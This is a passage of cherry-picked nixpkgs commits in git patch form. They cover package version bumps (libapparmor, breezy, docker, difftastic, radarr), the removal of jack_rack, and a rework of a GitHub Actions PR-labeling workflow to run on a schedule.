Diff: https://gitlab.com/apparmor/apparmor/-/commits/v4.1.1

Contains partial fixes for musl, some improvements to test coverage,
and a couple minor fixes to oversights in the 4.1.0 release.

(cherry picked from commit 05fb388ea76b1b42426f2d7b81e82cd097f66aae)
---
 pkgs/by-name/li/libapparmor/package.nix | 16 ++--------------
 1 file changed, 2 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/li/libapparmor/package.nix b/pkgs/by-name/li/libapparmor/package.nix
index 37f941e3dac6..caba93785756 100644
--- a/pkgs/by-name/li/libapparmor/package.nix
+++ b/pkgs/by-name/li/libapparmor/package.nix
@@ -2,7 +2,6 @@
   stdenv,
   lib,
   fetchFromGitLab,
-  fetchpatch2,
   autoreconfHook,
   autoconf-archive,
   pkg-config,
@@ -33,27 +32,16 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "libapparmor";
-  version = "4.1.0";
+  version = "4.1.1";
 
   src = fetchFromGitLab {
     owner = "apparmor";
     repo = "apparmor";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-oj6mGw/gvoRGpJqw72Lk6LJuurg8efjiV1pvZYbXz6A=";
+    hash = "sha256-f9FgowlV4lZKKuddGCirqbajhIGyTUQc7IFHSvqY6eQ=";
   };
   sourceRoot = "${finalAttrs.src.name}/libraries/libapparmor";
 
-  patches = [
-    # avoid creating non-reproducible pycache in check phase
-    # https://gitlab.com/apparmor/apparmor/-/merge_requests/1697
-    # remove on next release
-    (fetchpatch2 {
-      url = "https://gitlab.com/apparmor/apparmor/-/commit/b50ee983522f0efb5920676db545ae25b2e8998d.patch";
-      hash = "sha256-AXl0osJHX4uUGppiOuHjpvlSRChqGyRCqv+8TYoLYMk=";
-      stripLen = 2;
-    })
-  ];
-
   postPatch = ''
     substituteInPlace swig/perl/Makefile.am \
       --replace-fail install_vendor install_site

From 2f9fe430afcc45ae0640f0fc6485c60db216f3a1 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Tue, 10 Jun 2025 20:14:40 +0200
Subject: [PATCH 1105/4511] apparmor-parser: enable most tests on musl

(cherry picked from commit 74cd665d8f8789eae4489498c5e0df6eb62179f0)
---
 pkgs/by-name/ap/apparmor-parser/package.nix | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ap/apparmor-parser/package.nix b/pkgs/by-name/ap/apparmor-parser/package.nix
index f3b884aa9b10..2199423a37be 100644
--- a/pkgs/by-name/ap/apparmor-parser/package.nix
+++ b/pkgs/by-name/ap/apparmor-parser/package.nix
@@ -59,9 +59,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   checkTarget = "tests";
 
+  checkFlags = lib.optionals stdenv.hostPlatform.isMusl [
+    # equality tests are broken on musl due to different priority values
+    # https://gitlab.com/apparmor/apparmor/-/issues/513
+    "-o equality"
+  ];
+
   postCheck = "popd";
 
-  doCheck = stdenv.hostPlatform == stdenv.buildPlatform && !stdenv.hostPlatform.isMusl;
+  doCheck = stdenv.hostPlatform == stdenv.buildPlatform;
   checkInputs = [
     bashInteractive
     perl

From 60358fe827685020ecbcade817b79d0f2e3b16fd Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 10 Jun 2025 16:19:46 -0400
Subject: [PATCH 1106/4511] jack_rack: drop

Unused, unmaintained upstream, and has not built [since 2025-01-15](https://hydra.nixos.org/build/282788842).

(cherry picked from commit 2f79f084a1360acc22a93dba4ec0dce01cd9ebbf)
---
 pkgs/by-name/ja/jack_rack/package.nix | 44 ---------------------------
 pkgs/top-level/aliases.nix            |  1 +
 2 files changed, 1 insertion(+), 44 deletions(-)
 delete mode 100644 pkgs/by-name/ja/jack_rack/package.nix

diff --git a/pkgs/by-name/ja/jack_rack/package.nix b/pkgs/by-name/ja/jack_rack/package.nix
deleted file mode 100644
index a8703792a8af..000000000000
--- a/pkgs/by-name/ja/jack_rack/package.nix
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  pkg-config,
-  libjack2,
-  ladspaH,
-  gtk2,
-  alsa-lib,
-  libxml2,
-  lrdf,
-}:
-stdenv.mkDerivation rec {
-  pname = "jack-rack";
-  version = "1.4.7";
-  src = fetchurl {
-    url = "mirror://sourceforge/${pname}/${pname}-${version}.tar.bz2";
-    sha256 = "1lmibx9gicagcpcisacj6qhq6i08lkl5x8szysjqvbgpxl9qg045";
-  };
-  nativeBuildInputs = [ pkg-config ];
-  buildInputs = [
-    libjack2
-    ladspaH
-    gtk2
-    alsa-lib
-    libxml2
-    lrdf
-  ];
-  NIX_LDFLAGS = "-lm -lpthread";
-
-  meta = {
-    description = ''An effects "rack" for the JACK low latency audio API'';
-    longDescription = ''
-      JACK Rack is an effects "rack" for the JACK low latency audio
-      API. The rack can be filled with LADSPA effects plugins and can
-      be controlled using the ALSA sequencer. It's phat; it turns your
-      computer into an effects box.
-    '';
-    homepage = "https://jack-rack.sourceforge.net/";
-    license = lib.licenses.gpl2Plus;
-    maintainers = [ lib.maintainers.astsmtl ];
-    platforms = lib.platforms.linux;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index dcb3bba065f4..72c64d498b05 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -909,6 +909,7 @@ mapAliases {
   ### J ###
 
   jack2Full = throw "'jack2Full' has been renamed to/replaced by 'jack2'"; # Converted to throw 2024-10-17
+  jack_rack = throw "'jack_rack' has been removed due to lack of maintenance upstream."; # Added 2025-06-10
   jami-client-qt = jami-client; # Added 2022-11-06
   jami-client = jami; # Added 2023-02-10
   jami-daemon = jami.daemon; # Added 2023-02-10

From d18796b78668a11d4bff57ca4b32deffbb025433 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 16 Jun 2025 12:38:31 +0300
Subject: [PATCH 1107/4511] cpupower: prepare for 6.16-rc2

(cherry picked from commit ed717ed01d44b1b3f330e5a384efed5354308045)
---
 pkgs/os-specific/linux/cpupower/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/os-specific/linux/cpupower/default.nix b/pkgs/os-specific/linux/cpupower/default.nix
index c80352a1e7e3..e439be715d9a 100644
--- a/pkgs/os-specific/linux/cpupower/default.nix
+++ b/pkgs/os-specific/linux/cpupower/default.nix
@@ -42,6 +42,7 @@ stdenv.mkDerivation {
     doc = "share/doc/cpupower";
     conf = "etc";
     bash_completion_ = "share/bash-completion/completions";
+    unit = "lib/systemd/system";
   };
 
   enableParallelBuilding = true;

From 7b18c9ca3c9d0334ed224c57ee9b591ef6a34a29 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 16 Jun 2025 12:38:28 +0300
Subject: [PATCH 1108/4511] linux_testing: 6.16-rc1 -> 6.16-rc2

(cherry picked from commit aebe0591a964446d608666b24fb2767ed4d21f48)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 2d18f73d36c6..6c7ddb2bbea1 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.16-rc1",
-        "hash": "sha256:0wi66d2wma4lfs3pbwqg7k1pavxc3wyr54yxii3mmaab81pfdx27"
+        "version": "6.16-rc2",
+        "hash": "sha256:1hzkpp5161ss40d8j9nzvzyw6vljslx0pk5fin0klj884l5i8igh"
     },
     "6.1": {
         "version": "6.1.141",

From 3eb7ff6102beb26318b2fa6bb1251f20e413e8a8 Mon Sep 17 00:00:00 2001
From: Katherina Walshe-Grey <git@qenya.tel>
Date: Wed, 4 Jun 2025 12:43:54 +0100
Subject: [PATCH 1109/4511] python313Packages.breezy: 3.3.10 -> 3.3.12

Updated to include fix for https://bugs.launchpad.net/brz/+bug/2103478

(cherry picked from commit 209e3c7feea4a67a41fe085c9c95e08453adffd8)
---
 .../python-modules/breezy/Cargo.lock          | 20 +++++++++----------
 .../python-modules/breezy/default.nix         |  4 ++--
 2 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/development/python-modules/breezy/Cargo.lock b/pkgs/development/python-modules/breezy/Cargo.lock
index 582919223ddf..db5dbd76c7e8 100644
--- a/pkgs/development/python-modules/breezy/Cargo.lock
+++ b/pkgs/development/python-modules/breezy/Cargo.lock
@@ -19,7 +19,7 @@ checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
 
 [[package]]
 name = "breezy"
-version = "3.3.10"
+version = "3.3.12"
 dependencies = [
  "pyo3",
 ]
@@ -50,9 +50,9 @@ checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
 
 [[package]]
 name = "libc"
-version = "0.2.171"
+version = "0.2.172"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c19937216e9d3aa9956d9bb8dfc0b0c8beb6058fc4f7a4dc4d850edf86a237d6"
+checksum = "d750af042f7ef4f724306de029d18836c26c1765a54a6a3f094cbd23a7267ffa"
 
 [[package]]
 name = "memchr"
@@ -71,9 +71,9 @@ dependencies = [
 
 [[package]]
 name = "once_cell"
-version = "1.21.1"
+version = "1.21.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d75b0bedcc4fe52caa0e03d9f1151a323e4aa5e2d78ba3580400cd3c9e2bc4bc"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
 
 [[package]]
 name = "portable-atomic"
@@ -83,9 +83,9 @@ checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e"
 
 [[package]]
 name = "proc-macro2"
-version = "1.0.94"
+version = "1.0.95"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84"
+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
 dependencies = [
  "unicode-ident",
 ]
@@ -193,7 +193,7 @@ checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
 
 [[package]]
 name = "rio-py"
-version = "3.3.10"
+version = "3.3.12"
 dependencies = [
  "lazy_static",
  "pyo3",
@@ -202,9 +202,9 @@ dependencies = [
 
 [[package]]
 name = "syn"
-version = "2.0.100"
+version = "2.0.101"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0"
+checksum = "8ce2b7fc941b3a24138a0a7cf8e858bfc6a992e7978a068a5c760deb0ed43caf"
 dependencies = [
  "proc-macro2",
  "quote",
diff --git a/pkgs/development/python-modules/breezy/default.nix b/pkgs/development/python-modules/breezy/default.nix
index a0b6b806c81d..67a8ff0b944c 100644
--- a/pkgs/development/python-modules/breezy/default.nix
+++ b/pkgs/development/python-modules/breezy/default.nix
@@ -30,7 +30,7 @@
 
 buildPythonPackage rec {
   pname = "breezy";
-  version = "3.3.10";
+  version = "3.3.12";
   pyproject = true;
 
   disabled = pythonOlder "3.7";
@@ -39,7 +39,7 @@ buildPythonPackage rec {
     owner = "breezy-team";
     repo = "breezy";
     rev = "brz-${version}";
-    hash = "sha256-AzMDab8SUJ8JJukqxVsqf7HdCTcVMLyFFTInPwAmSqs=";
+    hash = "sha256-V/SnzpslFGjISg+YxViFa+Lpnn0+9enPA3xmvwfXnUM=";
   };
 
   cargoDeps = rustPlatform.importCargoLock { lockFile = ./Cargo.lock; };

From 0a4a48037d49018d2bfeb0a4f45e814003b4d687 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Mon, 16 Jun 2025 13:09:34 +0200
Subject: [PATCH 1110/4511] docker_25: 25.0.8 -> 25.0.10

https://github.com/moby/moby/milestone/184
https://github.com/moby/moby/milestone/196

Upstream did not tag a new release for docker/cli, and there are no new
commits in the 25.0 branch:
https://github.com/docker/cli/compare/43987fca488a535d810c429f75743d8c7b63bf4f...25.0

https://github.com/moby/moby/compare/v25.0.8...v25.0.10
(cherry picked from commit 4f9de98eeb069b01b761da77fc24fa5248d017fe)
---
 pkgs/applications/virtualization/docker/default.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix
index 5be14107857d..cd9aa8b662b6 100644
--- a/pkgs/applications/virtualization/docker/default.nix
+++ b/pkgs/applications/virtualization/docker/default.nix
@@ -360,17 +360,17 @@ rec {
   # Get revisions from
   # https://github.com/moby/moby/tree/${version}/hack/dockerfile/install/*
   docker_25 = callPackage dockerGen rec {
-    version = "25.0.8";
+    version = "25.0.10";
     # Upstream forgot to tag release
     # https://github.com/docker/cli/issues/5789
     cliRev = "43987fca488a535d810c429f75743d8c7b63bf4f";
     cliHash = "sha256-OwufdfuUPbPtgqfPeiKrQVkOOacU2g4ommHb770gV40=";
     mobyRev = "v${version}";
-    mobyHash = "sha256-n7GdjQEceqyC7E2sPXQWyxpRThtH35eM/J20yLa5NSs=";
-    runcRev = "v1.2.4";
-    runcHash = "sha256-LdYCMxdqDP7rKo6Ek/B1DE6QvUFrltbSJVggkVkXQZo=";
-    containerdRev = "v1.7.25";
-    containerdHash = "sha256-T0F5bwxSCqa4Czs/W01NaAlJJFvgrzkBC1y/r+muivA=";
+    mobyHash = "sha256-57iXL+QYtbEz099yOTR4k/2Z7CT08OAkQ3kVJSmsa/U=";
+    runcRev = "v1.2.5";
+    runcHash = "sha256-J/QmOZxYnMPpzm87HhPTkYdt+fN+yeSUu2sv6aUeTY4=";
+    containerdRev = "v1.7.27";
+    containerdHash = "sha256-H94EHnfW2Z59KcHcbfJn+BipyZiNUvHe50G5EXbrIps=";
     tiniRev = "v0.19.0";
     tiniHash = "sha256-ZDKu/8yE5G0RYFJdhgmCdN3obJNyRWv6K/Gd17zc1sI=";
   };

From b17cc5ba4a8339957c62b391ef89aa3c684bab77 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 14 Jun 2025 19:42:55 +0200
Subject: [PATCH 1111/4511] workflow/labels: switch to a scheduled trigger

Instead of relying on workflow_run events, we now trigger the labeling
workflow by schedule. This avoids all permission/secrets problems of
running in the pull_request_review context - and also gets rid of the
"waiting for approval to run workflows" button for new contributors that
sometimes comes up right now.

Also, it's more efficient. Previously, the labeling workflow would run
on *any* pull_request_review event, which happens for all comments, too.
So quite a few runs.

This will cause a delay of up to 1 hour with the current settings until
approval labels are set. Depending on how long the job normally runs we
can adjust the frequency. The workflow is written in a way that will
work no matter what the frequency ends up being, even when it's
interrupted by transient GHA failures: It will always look at all PRs
which were updated since the last time the workflow ran successfully.

We also add the ability to run it manually via UI. This is useful:
- When fixing bugs in the labeler workflow to run it all the way back to
where the bug was introduced.
- When introducing new labels, to get a head start for a reasonable
amount of PRs immediately.

Of course, the workflow is also still run directly after Eval itself.
This is also the only case that the actions/labeler steps will run,
since they depend on the `pull_request` context.

(cherry picked from commit 6f12f662ae0945d734bac9d5bcc13709f66623ad)
---
 .github/workflows/labels.yml           | 167 +++++++++++++++++--------
 .github/workflows/review-submitted.yml |  17 ---
 2 files changed, 114 insertions(+), 70 deletions(-)
 delete mode 100644 .github/workflows/review-submitted.yml

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index a7e34775d6ea..f15d8b4a6dcb 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -6,16 +6,23 @@
 name: "Label PR"
 
 on:
+  schedule:
+    - cron: '37 * * * *'
   workflow_call:
-  workflow_run:
-    workflows:
-      - Review dismissed
-      - Review submitted
-    types: [completed]
+  workflow_dispatch:
+    inputs:
+      updatedWithin:
+        description: 'Updated within [hours]'
+        type: number
+        required: false
+        default: 0 # everything since last run
 
 concurrency:
-  group: labels-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: true
+  # This explicitly avoids using `run_id` for the concurrency key to make sure that only
+  # *one* non-PR run can run at a time.
+  group: labels-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number }}
+  # PR- and manually-triggered runs will be cancelled, but scheduled runs will be queued.
+  cancel-in-progress: ${{ github.event_name != 'schedule' }}
 
 permissions:
   issues: write # needed to create *new* labels
@@ -31,57 +38,111 @@ jobs:
     runs-on: ubuntu-24.04-arm
     if: "!contains(github.event.pull_request.title, '[skip treewide]')"
     steps:
-      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        id: eval
-        with:
-          script: |
-            const run_id = (await github.rest.actions.listWorkflowRuns({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              workflow_id: 'eval.yml',
-              event: 'pull_request_target',
-              head_sha: context.payload.pull_request?.head.sha ?? context.payload.workflow_run.head_sha
-            })).data.workflow_runs[0]?.id
-            core.setOutput('run-id', run_id)
+      - name: Install dependencies
+        run: npm install @actions/artifact
 
-      - name: Download the comparison results
-        if: steps.eval.outputs.run-id
-        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
-        with:
-          run-id: ${{ steps.eval.outputs.run-id }}
-          github-token: ${{ github.token }}
-          pattern: comparison
-          path: comparison
-          merge-multiple: true
-
-      - name: Labels from eval
-        if: steps.eval.outputs.run-id && github.event_name != 'pull_request'
+      - name: Labels from API data and Eval results
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        env:
+          UPDATED_WITHIN: ${{ inputs.updatedWithin }}
         with:
           script: |
+            const path = require('node:path')
+            const { DefaultArtifactClient } = require('@actions/artifact')
             const { readFile } = require('node:fs/promises')
 
-            let pull_requests
-            if (context.payload.workflow_run) {
-              // PRs from forks don't have any PRs associated by default.
-              // Thus, we request the PR number with an API call *to* the fork's repo.
-              // Multiple pull requests can be open from the same head commit, either via
-              // different base branches or head branches.
-              const { head_repository, head_sha, repository } = context.payload.workflow_run
-              pull_requests = (await github.paginate(github.rest.repos.listPullRequestsAssociatedWithCommit, {
-                owner: head_repository.owner.login,
-                repo: head_repository.name,
-                commit_sha: head_sha
-              })).filter(pull_request => pull_request.base.repo.id == repository.id)
-            } else {
-              pull_requests = [ context.payload.pull_request ]
+            const artifactClient = new DefaultArtifactClient()
+
+            if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN))
+              throw new Error('Please enter "updated within" as integer in hours.')
+
+            const cutoff = new Date(await (async () => {
+              // Always run for Pull Request triggers, no cutoff since there will be a single
+              // response only anyway. 0 is the Unix epoch, so always smaller.
+              if (context.payload.pull_request?.number) return 0
+
+              // Manually triggered via UI when updatedWithin is set. Will fallthrough to the last
+              // option if the updatedWithin parameter is set to 0, which is the default.
+              const updatedWithin = Number.parseInt(process.env.UPDATED_WITHIN, 10)
+              if (updatedWithin) return new Date().getTime() - updatedWithin * 60 * 60 * 1000
+
+              // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far
+              // as the last successful run of this workflow to make sure we are not leaving anyone
+              // behind on GHA failures.
+              return (await github.rest.actions.listWorkflowRuns({
+                ...context.repo,
+                workflow_id: 'labels.yml',
+                event: 'schedule',
+                status: 'success',
+                exclude_pull_requests: true
+              })).data.workflow_runs[0]?.created_at
+            })())
+            core.info('cutoff timestamp: ' + cutoff.toISOString())
+
+            // To simplify this action's logic we fetch the pull_request data again below, even if
+            // we are already in a pull_request event's context and would have the data readily
+            // available. We do this by filtering the list of pull requests with head and base
+            // branch - there can only be a single open Pull Request for any such combination.
+            const prEventCondition = !context.payload.pull_request ? undefined : {
+              // "label" is in the format of `user:branch` or `org:branch`
+              head: context.payload.pull_request.head.label,
+              base: context.payload.pull_request.base.ref
             }
 
-            await Promise.all(
-              pull_requests.map(async (pull_request) => {
+            await github.paginate(
+              github.rest.pulls.list,
+              {
+                ...context.repo,
+                state: 'open',
+                sort: 'updated',
+                direction: 'desc',
+                ...prEventCondition
+              },
+              async (response, done) => await Promise.all(response.data.map(async (pull_request) => {
+                const log = (k,v) => core.info(`PR #${pull_request.number} - ${k}: ${v}`)
+
+                log('Last updated at', pull_request.updated_at)
+                if (new Date(pull_request.updated_at) < cutoff) return done()
+
+                const run_id = (await github.rest.actions.listWorkflowRuns({
+                  ...context.repo,
+                  workflow_id: 'eval.yml',
+                  event: 'pull_request_target',
+                  // For PR events, the workflow run is still in progress with this job itself.
+                  status: prEventCondition ? 'in_progress' : 'success',
+                  exclude_pull_requests: true,
+                  head_sha: pull_request.head.sha
+                })).data.workflow_runs[0]?.id
+
+                // Newer PRs might not have run Eval to completion, yet. We can skip them, because this
+                // job will be run as part of that Eval run anyway.
+                log('Last eval run', run_id)
+                if (!run_id) return;
+
+                const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
+                  ...context.repo,
+                  run_id,
+                  name: 'comparison'
+                })).data.artifacts[0]
+
+                // Instead of checking the boolean artifact.expired, we will give us a minute to
+                // actually download the artifact in the next step and avoid that race condition.
+                log('Artifact expires at', artifact.expires_at)
+                if (new Date(artifact.expires_at) < new Date(new Date().getTime() + 60 * 1000)) return;
+
+                await artifactClient.downloadArtifact(artifact.id, {
+                  findBy: {
+                    repositoryName: context.repo.repo,
+                    repositoryOwner: context.repo.owner,
+                    token: core.getInput('github-token')
+                  },
+                  path: path.resolve('comparison'),
+                  expectedHash: artifact.digest
+                })
+
+                // Shortcut for all issue endpoints related to labels
                 const pr = {
-                  owner: context.repo.owner,
-                  repo: context.repo.repo,
+                  ...context.repo,
                   issue_number: pull_request.number
                 }
 
@@ -132,13 +193,13 @@ jobs:
                     labels: added
                   })
                 }
-              })
+              }))
             )
 
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
         name: Labels from touched files
         if: |
-          github.event_name != 'workflow_run' &&
+          github.event_name == 'pull_request_target' &&
           github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
@@ -153,7 +214,7 @@ jobs:
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
         name: Labels from touched files (no sync)
         if: |
-          github.event_name != 'workflow_run' &&
+          github.event_name == 'pull_request_target' &&
           github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
@@ -171,7 +232,7 @@ jobs:
         # This is to avoid the mass of labels there, which is mostly useless - and really annoying for
         # the backport labels.
         if: |
-          github.event_name != 'workflow_run' &&
+          github.event_name == 'pull_request_target' &&
           github.event.pull_request.head.repo.owner.login == 'NixOS' && (
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
diff --git a/.github/workflows/review-submitted.yml b/.github/workflows/review-submitted.yml
deleted file mode 100644
index 69663054f15b..000000000000
--- a/.github/workflows/review-submitted.yml
+++ /dev/null
@@ -1,17 +0,0 @@
-name: Review submitted
-
-on:
-  pull_request_review:
-    types: [submitted]
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  trigger:
-    runs-on: ubuntu-24.04-arm
-    steps:
-      - run: echo This is a no-op only used as a trigger for workflow_run.

From aefa2d1d8b860119d2257b553d728d4ab7f15fd7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 15 Jun 2025 11:08:48 +0200
Subject: [PATCH 1112/4511] workflow/labels: save an API request

With the previous commit we now have the `before` labels available
already, which allows some simplification.

(cherry picked from commit 4d537009c6d2bf00f7177571909f61debff796c4)
---
 .github/workflows/labels.yml | 18 ++++++------------
 1 file changed, 6 insertions(+), 12 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index f15d8b4a6dcb..2b487dc00407 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -140,16 +140,9 @@ jobs:
                   expectedHash: artifact.digest
                 })
 
-                // Shortcut for all issue endpoints related to labels
-                const pr = {
-                  ...context.repo,
-                  issue_number: pull_request.number
-                }
-
                 // Get all currently set labels that we manage
                 const before =
-                  (await github.paginate(github.rest.issues.listLabelsOnIssue, pr))
-                  .map(({ name }) => name)
+                  pull_request.labels.map(({ name }) => name)
                   .filter(name =>
                     name.startsWith('10.rebuild') ||
                     name == '11.by: package-maintainer' ||
@@ -159,8 +152,7 @@ jobs:
 
                 const approvals = new Set(
                   (await github.paginate(github.rest.pulls.listReviews, {
-                    owner: context.repo.owner,
-                    repo: context.repo.repo,
+                    ...context.repo,
                     pull_number: pull_request.number
                   }))
                   .filter(review => review.state == 'APPROVED')
@@ -180,7 +172,8 @@ jobs:
                 await Promise.all(
                   before.filter(name => !after.includes(name))
                   .map(name => github.rest.issues.removeLabel({
-                    ...pr,
+                    ...context.repo,
+                    issue_number: pull_request.number
                     name
                   }))
                 )
@@ -189,7 +182,8 @@ jobs:
                 const added = after.filter(name => !before.includes(name))
                 if (added.length > 0) {
                   await github.rest.issues.addLabels({
-                    ...pr,
+                    ...context.repo,
+                    issue_number: pull_request.number
                     labels: added
                   })
                 }

From c25a090e47242799e0dc2947376525c9ff837630 Mon Sep 17 00:00:00 2001
From: Muhammad Falak R Wani <falakreyaz@gmail.com>
Date: Mon, 16 Jun 2025 12:02:05 +0530
Subject: [PATCH 1113/4511] difftastic: 0.63.0 -> 0.64.0

Diff: https://github.com/wilfred/difftastic/compare/refs/tags/0.63.0...0.64.0
Changelog: https://github.com/Wilfred/difftastic/blob/refs/tags/0.64.0/CHANGELOG.md
Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>
(cherry picked from commit c31da5ac45e243bdfe6320a6c1d75da69ec17fa6)
---
 pkgs/by-name/di/difftastic/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/di/difftastic/package.nix b/pkgs/by-name/di/difftastic/package.nix
index b5753e0713f0..5f51ce0129d0 100644
--- a/pkgs/by-name/di/difftastic/package.nix
+++ b/pkgs/by-name/di/difftastic/package.nix
@@ -8,17 +8,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "difftastic";
-  version = "0.63.0";
+  version = "0.64.0";
 
   src = fetchFromGitHub {
     owner = "wilfred";
     repo = "difftastic";
     tag = finalAttrs.version;
-    hash = "sha256-BxWCSkSeDyiiGBY2u0ahPrIhYq2lbujoPPtZGq/OkI0=";
+    hash = "sha256-XMvysYO6Kji9cbfGayB6wPVuNp0j2uXLHfZ9H+dBLt0=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-kIqaZ8truDivMV6uo1+j9bmXQReREZjHSr89ZvVDWCw=";
+  cargoHash = "sha256-1u3oUbqhwHXD90ld70pjK2XPJe5hpUbJtU78QpIjAE8=";
 
   # skip flaky tests
   checkFlags = [ "--skip=options::tests::test_detect_display_width" ];

From c450adc8b080ef6bc88fe2b4987997525f7209f0 Mon Sep 17 00:00:00 2001
From: Mitchell Hanberg <mitch@mitchellhanberg.com>
Date: Mon, 16 Jun 2025 10:25:04 -0400
Subject: [PATCH 1114/4511] radarr: 5.25.0.10024 -> 5.26.2.10099

---
 pkgs/servers/radarr/default.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/servers/radarr/default.nix b/pkgs/servers/radarr/default.nix
index 56e695c92def..e1e1fbfa8bca 100644
--- a/pkgs/servers/radarr/default.nix
+++ b/pkgs/servers/radarr/default.nix
@@ -27,17 +27,17 @@ let
 
   hash =
     {
-      x64-linux_hash = "sha256-rHm2qDBDBPioAyN3SYw1CbCTDBA5PhF72Yd/LcpXGbI=";
-      arm64-linux_hash = "sha256-ukwLekQ5kI7eXdydHXDev1WkISHR2vUQGtNd0njWyy0=";
-      x64-osx_hash = "sha256-0ZzGcfMl3Q3vLSdN0j8B8NL1dQLvJn/lqKyprguexQI=";
-      arm64-osx_hash = "sha256-aM9bmPW6Vv2D6lIKfT5+uuUXfq/xqxNuHAysEYUFzt4=";
+      x64-linux_hash = "sha256-V22ejPTuD2fXmGzh6KKsz7yZnalr4+mucdrKIBK9Vbo=";
+      arm64-linux_hash = "sha256-eO13nf/a3SQzlcTMmg1qLXu7Rzk8yeFp7wbHb8Ih07Q=";
+      x64-osx_hash = "sha256-gdUUJk+sNDbpHJSEHgFv2dng9SXPo1adrK+KJR0UYi0=";
+      arm64-osx_hash = "sha256-W7rs1g/YO9jvI85nkmuFL/wqNlf6MUFWyrgH4D4zvx8=";
     }
     ."${arch}-${os}_hash";
 
 in
 stdenv.mkDerivation rec {
   pname = "radarr";
-  version = "5.25.0.10024";
+  version = "5.26.2.10099";
 
   src = fetchurl {
     url = "https://github.com/Radarr/Radarr/releases/download/v${version}/Radarr.master.${version}.${os}-core-${arch}.tar.gz";

From 3ec7829b84ff926f09aa4d201708b4d6f97ce107 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 16 Jun 2025 14:44:30 +0200
Subject: [PATCH 1115/4511] workflows/labels: fix syntax error

(cherry picked from commit 2f3970c5d80b6320bd773163945037b7b4debb7c)
---
 .github/workflows/labels.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

